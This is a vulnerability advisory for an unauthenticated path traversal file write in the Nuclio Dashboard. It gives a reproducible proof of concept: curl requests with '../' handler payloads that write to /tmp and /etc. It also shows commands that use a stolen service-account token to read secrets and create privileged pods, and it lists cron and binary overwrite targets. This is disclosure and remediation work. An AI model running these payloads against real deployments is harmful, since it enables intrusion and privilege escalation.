PT-2026-60675 — Path traversal em Go Github.Com/Nuclio/Nuclio

PT-2026-60675 · Go · Github.Com/Nuclio/Nuclio

Publicado

2026-07-16

Atualizado

2026-07-16

CVSS v3.1

4.9

Média

Vetor

AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

Summary

Nuclio Dashboard exposes POST /api/functions without authentication by default (NOP auth mode). The spec.handler field (e.g., mymodule:myfunction) is parsed by functionconfig.ParseHandler() which splits on : only — no path validation is applied to the module portion.

During function build, writeFunctionSourceCodeToTempFile() passes the module name directly to path.Join(tempDir, moduleFileName). Go's path.Join internally calls path.Clean, which resolves ../ sequences and allows the resolved path to escape tempDir. The function then calls os.WriteFile at the attacker-controlled path with attacker-controlled content (base64-decoded spec.build.functionSourceCode).

The write executes in the Dashboard container process running as uid=0 (root), allowing writes to any filesystem location the process can access: /tmp, /etc, /usr/local/bin, /etc/cron.d, and more.

CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N — 7.5 (High)
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Affected versions: Nuclio <= 1.15.27 (latest at time of research, dynamically verified)

Details

Root Cause

The vulnerability spans three functions. The path from user input to disk write is:

1. ParseHandler — no path validation (pkg/functionconfig/handler.go:25-38):

// pkg/functionconfig/handler.go:25-38
func ParseHandler(handler string) (string, string, error) {
  moduleAndEntrypoint := strings.Split(handler, ":")
  switch len(moduleAndEntrypoint) {
  case 1:
    return "", moduleAndEntrypoint[0], nil
  case 2:
    // Returns moduleFileName verbatim — no path sanitization
    return moduleAndEntrypoint[0], moduleAndEntrypoint[1], nil
  default:
    return "", "", errors.Errorf("Invalid handler name %s", handler)
  }
}

Input "../../../../tmp/vul007 proof.txt:handler" returns moduleFileName = "../../../../tmp/vul007 proof.txt".

2. writeFunctionSourceCodeToTempFile — unsafe path construction (pkg/processor/build/builder.go:613-661):

// builder.go:624-657 (abridged)
tempDir, err := b.mkDirUnderTemp("source")
// tempDir = /tmp/nuclio-build-<random>/source

runtimeExtension, err := b.getRuntimeFileExtensionByName(b.options.FunctionConfig.Spec.Runtime)

moduleFileName, entrypoint, err := functionconfig.ParseHandler(b.options.FunctionConfig.Spec.Handler)
// moduleFileName = "../../../../tmp/vul007 proof.txt" — attacker-controlled

if !strings.Contains(moduleFileName, ".") {
  moduleFileName = fmt.Sprintf("%s.%s", moduleFileName, runtimeExtension)
}
// If moduleFileName already contains ".", no extension is appended
// "../../../../tmp/vul007 proof.txt" contains "." -> stays as-is

sourceFilePath := path.Join(tempDir, moduleFileName)
// path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007 proof.txt")
// = "/tmp/vul007 proof.txt"  <-- escaped tempDir

b.logger.DebugWith("Writing function source code to temporary file", "functionPath", sourceFilePath)
if err := os.WriteFile(sourceFilePath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {
  // Writes attacker-controlled bytes to attacker-controlled path

3. cleanupTempDir does not remove the traversal file (builder.go:1047-1061):

// builder.go:1053
err := os.RemoveAll(b.tempDir)
// Only removes /tmp/nuclio-build-<random>/ — traversal file outside this tree persists

Path Traversal Calculation

tempDir = /tmp/nuclio-build-227825660/source  (depth from /: 3 components)
handler = "../../../../tmp/vul007 proof.txt:handler"
module  = "../../../../tmp/vul007 proof.txt"

path.Join("/tmp/nuclio-build-227825660/source", "../../../../tmp/vul007 proof.txt")
= path.Clean("/tmp/nuclio-build-227825660/source/../../../../tmp/vul007 proof.txt")

Traversal:
 /tmp/nuclio-build-227825660/source (start)
 ../ -> /tmp/nuclio-build-227825660
 ../ -> /tmp
 ../ -> / (filesystem root)
 ../ -> / (cannot go above root)
 tmp/vul007 proof.txt -> /tmp/vul007 proof.txt

The same technique with 4x ../ reaches any path under /tmp, /etc, /usr, etc.

Full Attack Chain

Unauthenticated HTTP client
 -> POST /api/functions (no auth, NOP mode)
    dashboard/resource/function.go:156 storeAndDeployFunction()
 -> platform.CreateFunction()
    platform/kube/platform.go:193
 -> abstract/platform.go:191 HandleDeployFunction()
 -> abstract/platform.go:119 CreateFunctionBuild()
 -> builder.Build()
    processor/build/builder.go:195
 -> builder.resolveFunctionPath()
    builder.go:664
 -> builder.writeFunctionSourceCodeToTempFile()  <-- file write here
    builder.go:613
 -> os.WriteFile(attacker path, attacker content, 0644)
    builder.go:657

PoC — Steps to Reproduce

Environment Setup

The following steps set up an isolated kind cluster and deploy Nuclio 1.15.27. All commands were executed on an Ubuntu host with Docker 29.1.2.

Step 1: Create isolated kind cluster with Docker socket mounted

The Dashboard container builder requires access to Docker daemon. Create a kind cluster configuration that mounts the host Docker socket into the cluster node:

bash

cat > /tmp/kind-vul007-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
 extraMounts:
 - hostPath: /var/run/docker.sock
  containerPath: /var/run/docker.sock
EOF

kind create cluster --name vul-007 --config /tmp/kind-vul007-config.yaml

Expected output:

Creating cluster "vul-007" ...
 ✓ Ensuring node image (kindest/node:v1.27.3)
 ✓ Preparing nodes
 ✓ Writing configuration
 ✓ Starting control-plane
 ✓ Installing CNI
 ✓ Installing StorageClass
Set kubectl context to "kind-vul-007"

Verify Docker socket is available inside the cluster node:

bash

docker exec vul-007-control-plane ls -la /var/run/docker.sock
# srw-rw---- 1 root 988 0 May 17 13:31 /var/run/docker.sock

Step 2: Deploy Nuclio via Helm

bash

# Create namespace
kubectl --context kind-vul-007 create namespace nuclio

# Load container images (if pre-pulled)
kind load docker-image quay.io/nuclio/dashboard:1.15.27-amd64 --name vul-007
kind load docker-image quay.io/nuclio/controller:1.15.27-amd64 --name vul-007

# Install with Helm (chart from source: hack/k8s/helm/nuclio)
helm install nuclio ./hack/k8s/helm/nuclio 
 --namespace nuclio 
 --kube-context kind-vul-007 
 --set controller.image.pullPolicy=Never 
 --set dashboard.image.pullPolicy=Never 
 --set registry.pushPullUrl="localhost:5000" 
 --set dashboard.containerBuilderKind=docker

Step 3: Wait for Dashboard to be ready

bash

kubectl --context kind-vul-007 wait -n nuclio 
 --for=condition=ready pod -l nuclio.io/app=dashboard --timeout=90s

# Expected:
# pod/nuclio-dashboard-b4c5bb96f-txjkt condition met

Step 4: Expose Dashboard locally

bash

kubectl --context kind-vul-007 port-forward -n nuclio svc/nuclio-dashboard 8073:8070 &
sleep 3

# Verify Dashboard is accessible
curl -s -o /dev/null -w "HTTP %{http code}
" http://localhost:8073/api/functions
# HTTP 200

Step 5: Create default project (required by Dashboard API)

bash

curl -s -X POST http://localhost:8073/api/projects 
 -H "Content-Type: application/json" 
 -d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{"description":"default"}}'

Exploitation

Step 6: Send path traversal request

The handler field ../../../../tmp/vul007 proof.txt:handler instructs the build pipeline to write functionSourceCode content to /tmp/vul007 proof.txt inside the Dashboard container.

bash

curl -v -X POST http://localhost:8073/api/functions 
 -H "Content-Type: application/json" 
 -H "x-nuclio-project-name: default" 
 -d '{
  "metadata": {"name": "vul007-poc", "namespace": "nuclio"},
  "spec": {
   "runtime": "python:3.11",
   "handler": "../../../../tmp/vul007 proof.txt:handler",
   "build": {
    "functionSourceCode": "UFJPVkVELVBBVEgtVFJBVkVSU0FMLVZVTDAwNw=="
   },
   "minReplicas": 0,
   "maxReplicas": 1
  }
 }'

functionSourceCode base64 decoded: PROVED-PATH-TRAVERSAL-VUL007

Expected response:

HTTP/1.1 202 Accepted

Step 7: Observe Dashboard build logs

bash

kubectl --context kind-vul-007 logs -n nuclio deploy/nuclio-dashboard --tail=20 
 | grep -E "temporary dir|Writing function source"

Actual log output (captured during verification, timestamp 2026-05-17 14:55:02 CST):

26.05.17 14:55:02.225 (D) dashboard.server.api/functions Created temporary dir
 {"dir": "/tmp/nuclio-build-227825660/source"}

26.05.17 14:55:02.225 (D) dashboard.server.api/functions Writing function source code to temporary file
 {"functionPath": "/tmp/vul007 proof.txt"}

The log confirms functionPath resolved to /tmp/vul007 proof.txt, which is outside the tempDir /tmp/nuclio-build-227825660/source. Path traversal is confirmed.

Step 8: Verify file written to traversal path

bash

kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard 
 -- cat /tmp/vul007 proof.txt

Output:

PROVED-PATH-TRAVERSAL-VUL007

bash

kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard 
 -- ls -la /tmp/vul007 proof.txt

Output:

-rw-r--r--  1 root   root      28 May 17 14:55 /tmp/vul007 proof.txt

Step 9: Write to /etc/ — broader impact demonstration

bash

curl -s -X POST http://localhost:8073/api/functions 
 -H "Content-Type: application/json" 
 -H "x-nuclio-project-name: default" 
 -d '{
  "metadata": {"name": "vul007-poc2", "namespace": "nuclio"},
  "spec": {
   "runtime": "python:3.11",
   "handler": "../../../../etc/vul007-marker.txt:handler",
   "build": {
    "functionSourceCode": "VlVMMDA3LVBFUlNJU1RFTlQtTUFSS0VSLXJvb3Q="
   }
  }
 }'

Log evidence:

26.05.17 14:55:50.666 (D) dashboard.server.api/functions Writing function source code to temporary file
 {"functionPath": "/etc/vul007-marker.txt"}

bash

kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard 
 -- cat /etc/vul007-marker.txt
# VUL007-PERSISTENT-MARKER-root

Cleanup

bash

kubectl --context kind-vul-007 delete nucliofunction vul007-poc vul007-poc2 -n nuclio 2>/dev/null || true
kind delete cluster --name vul-007

Impact

Direct Impact

An unauthenticated attacker with network access to the Nuclio Dashboard port can write arbitrary content to any path accessible by the Dashboard process (running as root) inside the Dashboard container.

Demonstrated write targets:

/tmp/ — confirmed (primary PoC)
/etc/ — confirmed (secondary PoC)

Potential high-impact write targets:

/etc/cron.d/ — write a cron job entry; if a cron daemon runs in the container, this achieves scheduled arbitrary command execution inside the container
/usr/local/bin/<name> — overwrite a binary called by dashboard processes
Any file path accessible by root within the container filesystem

Privilege Escalation

The Dashboard container runs as uid=0 (root). Its mounted Kubernetes ServiceAccount (nuclio-dashboard) holds the following RBAC permissions in the nuclio namespace:

Resources     Verbs
secrets      [*]
deployments.apps [*]
pods       [*]
configmaps    [*]
services     [*]
cronjobs.batch  [*]

Verification: Using the SA token directly against the Kubernetes API:

bash

# List secrets — HTTP 200
curl -k -H "Authorization: Bearer $SA TOKEN" 
 "$K8S API/api/v1/namespaces/nuclio/secrets"
# => returns helm release secret, nuclio SA secret

# Create privileged Deployment — HTTP 201
curl -k -X POST -H "Authorization: Bearer $SA TOKEN" 
 -H "Content-Type: application/json" 
 "$K8S API/apis/apps/v1/namespaces/nuclio/deployments" 
 -d '{"spec":{"template":{"spec":{"containers":[{"name":"t","image":"busybox","securityContext":{"privileged":true}}]}}}}'
# HTTP CODE:201

An attacker who compromises the Dashboard container (via this file write vulnerability) gains access to this SA token and can create privileged workloads in the nuclio namespace, potentially escalating to cluster-level access depending on cluster configuration.

Scope

The file write is bounded to the Dashboard container filesystem. Host-level writes require additional preconditions (hostPath volumes, privileged container mode, or DinD configuration) not present in a standard Nuclio Kubernetes deployment.

Severity

CVSS 3.1 Score: 7.5 (High)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Metric	Value	Rationale
Attack Vector	Network	Dashboard API reachable over network
Attack Complexity	Low	Single HTTP request, no race condition
Privileges Required	None	Default NOP auth mode requires no credentials
User Interaction	None	Fully automated
Scope	Unchanged	Write confined to Dashboard container
Confidentiality	None	No data read in primary attack path
Integrity	High	Arbitrary file write as root in container
Availability	None	No service disruption caused by write

Affected Versions

Nuclio <= 1.15.27 (latest release at time of research)
Dynamically verified against quay.io/nuclio/dashboard:1.15.27-amd64 on 2026-05-17

The vulnerable code path (writeFunctionSourceCodeToTempFile in pkg/processor/build/builder.go) has been present since the functionSourceCode inline code feature was introduced.

Patched Versions

https://github.com/nuclio/nuclio/releases/tag/1.16.5

Workarounds

Option 1: Enable authentication on the Dashboard

Set NUCLIO AUTH KIND to a non-NOP value (e.g., iguazio) to require credentials. This prevents unauthenticated access to the API. Consult Nuclio documentation for supported auth providers.

yaml

# In Dashboard deployment env
- name: NUCLIO AUTH KIND
 value: "iguazio"

Option 2: Network-level access control

Restrict network access to the Dashboard port (default 8070) to trusted networks only. Do not expose the Dashboard directly to the internet.

Option 3: Drop root privileges in the Dashboard container

Run the Dashboard process as a non-root user to reduce the impact of container-level arbitrary file writes.

Remediation

Add a path boundary check in writeFunctionSourceCodeToTempFile after constructing sourceFilePath:

// pkg/processor/build/builder.go — fix for writeFunctionSourceCodeToTempFile
sourceFilePath := path.Join(tempDir, moduleFileName)

// Verify resolved path is within tempDir
absPath, err := filepath.Abs(sourceFilePath)
if err != nil {
  return "", errors.Wrap(err, "Failed to resolve absolute path")
}
absTempDir, err := filepath.Abs(tempDir)
if err != nil {
  return "", errors.Wrap(err, "Failed to resolve absolute tempDir")
}
if !strings.HasPrefix(absPath, absTempDir+string(os.PathSeparator)) {
  return "", errors.Errorf(
    "handler module path escapes build directory: %s", moduleFileName)
}

b.logger.DebugWith("Writing function source code to temporary file", "functionPath", absPath)
if err := os.WriteFile(absPath, decodedFunctionSourceCode, os.FileMode(0644)); err != nil {

Alternatively, reject any handler module name containing path separator characters before the build pipeline is invoked (at API request validation time).

Resources

Vulnerable file: pkg/processor/build/builder.go — function writeFunctionSourceCodeToTempFile, line 654
Parser: pkg/functionconfig/handler.go — function ParseHandler, line 25
Go path.Join behavior: https://pkg.go.dev/path#Join
CWE-22: https://cwe.mitre.org/data/definitions/22.html
OWASP Path Traversal: https://owasp.org/www-community/attacks/Path Traversal

Correção

Path traversal

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dbugs@ptsecurity.com

Enumeração de Fraquezas

CWE-22

Identificadores relacionados

GHSA-WPCJ-RMV4-86QG

Produtos afetados

Github.Com/Nuclio/Nuclio

PT-2026-60675 · Go · Github.Com/Nuclio/Nuclio

Summary

Details

Root Cause

Path Traversal Calculation

Full Attack Chain

PoC — Steps to Reproduce

Environment Setup

Exploitation

Cleanup

Impact

Direct Impact

Privilege Escalation

Scope

Severity

Affected Versions

Patched Versions

Workarounds

Remediation

Resources

Enumeração de Fraquezas

Identificadores relacionados

Produtos afetados

Referências · 6